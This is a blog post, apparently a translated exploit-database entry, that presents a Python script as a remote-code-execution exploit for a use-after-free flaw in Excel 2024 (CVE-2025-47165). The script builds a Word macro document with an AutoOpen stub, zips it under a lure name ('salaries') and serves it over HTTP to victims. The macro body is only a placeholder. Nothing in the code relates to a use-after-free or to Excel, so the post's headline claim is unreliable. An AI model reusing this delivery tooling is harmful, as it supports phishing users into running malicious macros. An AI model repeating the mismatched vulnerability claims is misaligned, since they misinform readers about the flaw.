Microsoft Excel 2024 UAF漏洞远程代码执行技术分析

本文详细分析了Microsoft Excel 2024中的Use after free漏洞(CVE-2025-47165),提供了完整的Python利用代码,演示如何通过恶意DOCM文件实现远程代码执行,影响Office LTSC 2024等多个版本。

漏洞标题:Microsoft Excel 2024 Use after free - 远程代码执行(RCE)

作者:nu11secur1ty

日期:2025-06-24

厂商:Microsoft

软件:https://www.microsoft.com/en/microsoft-365/excel?market=af

参考:

https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-47165

CVE:CVE-2025-47165

受影响版本:Microsoft Office LTSC 2024、Microsoft Office LTSC 2021、Microsoft 365 Apps for Enterprise

漏洞描述:

攻击者可以通过电子邮件或流媒体服务器发送恶意DOCM文件,诱骗任何用户打开并执行其代码。受害者执行后,其机器可能被感染,甚至造成比以往更严重的后果;这可能是其Windows机器的终结!警告:请从您的Office 365中禁用宏选项!!!

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
#!/usr/bin/python

import os
import sys
import pythoncom
from win32com.client import Dispatch
import http.server
import socketserver
import socket
import threading
import zipfile

PORT = 8000
DOCM_FILENAME = "salaries.docm"
ZIP_FILENAME = "salaries.zip"
DIRECTORY = "."

def create_docm_with_macro(filename=DOCM_FILENAME):
    pythoncom.CoInitialize()
    word = Dispatch("Word.Application")
    word.Visible = False

    try:
        doc = word.Documents.Add()
        vb_project = doc.VBProject
        vb_component = vb_project.VBComponents("ThisDocument")

        macro_code = '''
Sub AutoOpen()
      //在此处放置您的漏洞利用代码
      //请所有人观看演示视频
      //向packetstorm.news和OFFSEC致以最佳问候
End Sub
'''

        vb_component.CodeModule.AddFromString(macro_code)

        doc.SaveAs(os.path.abspath(filename), FileFormat=13)
        print(f"[+] 已创建启用宏的Word文档:{filename}")

    except Exception as e:
        print(f"[!] 创建文档时出错:{e}")
    finally:
        doc.Close(False)
        word.Quit()
        pythoncom.CoUninitialize()

def zip_docm(docm_path, zip_path):
    with zipfile.ZipFile(zip_path, 'w', compression=zipfile.ZIP_DEFLATED) as zipf:
        zipf.write(docm_path, arcname=os.path.basename(docm_path))
    print(f"[+] 已创建ZIP压缩包:{zip_path}")

def get_local_ip():
    s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    try:
        s.connect(("8.8.8.8", 80))
        ip = s.getsockname()[0]
    except Exception:
        ip = "127.0.0.1"
    finally:
        s.close()
    return ip

class Handler(http.server.SimpleHTTPRequestHandler):
    def __init__(self, *args, **kwargs):
        super().__init__(*args, directory=DIRECTORY, **kwargs)

def run_server():
    ip = get_local_ip()
    print(f"[+] 在 http://{ip}:{PORT} 启动HTTP服务器")
    print(f"[+] 将您的宏文档和ZIP文件放在此目录中以提供服务")
    print(f"[+] 通过以下地址访问ZIP文件:http://{ip}:{PORT}/{ZIP_FILENAME}")
    with socketserver.TCPServer(("", PORT), Handler) as httpd:
        print("[+] 服务器运行中,按Ctrl+C停止")
        httpd.serve_forever()

if __name__ == "__main__":
    if os.name != "nt":
        print("[!] 此脚本仅在安装MS Word的Windows系统上运行")
        sys.exit(1)

    print("[*] 正在创建启用宏的文档...")
    create_docm_with_macro(DOCM_FILENAME)

    print("[*] 正在创建文档的ZIP压缩包...")
    zip_docm(DOCM_FILENAME, ZIP_FILENAME)

    print("[*] 在后台线程中启动HTTP服务器...")
    server_thread = threading.Thread(target=run_server, daemon=True)
    server_thread.start()

    try:
        while True:
            pass  # 保持主线程存活
    except KeyboardInterrupt:
        print("\n[!] 用户停止了服务器")

复现步骤:

视频演示

单独购买漏洞利用:

购买链接

耗时:

01:37:00

– 系统管理员 - 基础设施工程师 渗透测试工程师 漏洞开发人员,工作于 https://packetstormsecurity.com/ https://cve.mitre.org/index.html https://cxsecurity.com/https://www.exploit-db.com/ 0day漏洞数据库 https://0day.today/ 个人主页:https://www.nu11secur1ty.com/ hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E= nu11secur1ty http://nu11secur1ty.com/

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计